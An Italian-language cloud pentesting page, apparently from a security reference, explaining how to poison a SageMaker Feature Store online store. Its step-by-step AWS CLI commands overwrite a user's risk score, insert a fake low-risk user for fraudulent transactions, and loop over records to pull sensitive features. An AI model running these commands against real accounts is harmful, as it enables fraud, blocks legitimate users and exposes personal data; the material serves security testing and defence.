SageMaker Feature Store online store poisoning

Reading time: 6 minutes

Abusa di sagemaker:PutRecord su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live utilizzati dall'inferenza in tempo reale. In combinazione con sagemaker:GetRecord, un attaccante può leggere feature sensibili. Questo non richiede accesso ai modelli o agli endpoint.

Requisiti

• Permessi: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
• Target: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale)
• Complessità: BASSA - Comandi AWS CLI semplici, non è richiesta la manipolazione dei modelli

Passaggi

Ricognizione

1. Elenca i Feature Group con OnlineStore abilitato

REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table

2. Descrivi il Feature Group target per comprendere il suo schema

FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

Nota i RecordIdentifierFeatureName, EventTimeFeatureName e tutte le definizioni delle feature. Questi sono necessari per creare record validi.

Scenario di attacco 1: Data Poisoning (Overwrite Existing Records)

1. Leggi il record legittimo corrente

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

2. Poison the record con valori malevoli utilizzando il parametro inline --record

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore

3. Verificare i dati avvelenati

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Impatto: i modelli ML che consumano questa feature vedranno ora risk_score=0.99 per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi.

Scenario d'attacco 2: Malicious Data Injection (Create Fraudulent Records)

Iniettare record completamente nuovi con feature manipolate per eludere i controlli di sicurezza:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Verifica l'iniezione:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Impatto: L'attaccante crea un'identità falsa con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente ad alto valore senza attivare il sistema di rilevamento delle frodi.

Scenario d'attacco 3: Esfiltrazione di dati sensibili

Leggere più record per estrarre feature confidenziali e profilare il comportamento del modello:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Impatto: feature confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte all'attaccante.

Creazione di un Feature Group di test/demo (Opzionale)

Se hai bisogno di creare un Feature Group di test:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Riferimenti

• Documentazione di AWS SageMaker Feature Store
• Migliori pratiche di sicurezza per Feature Store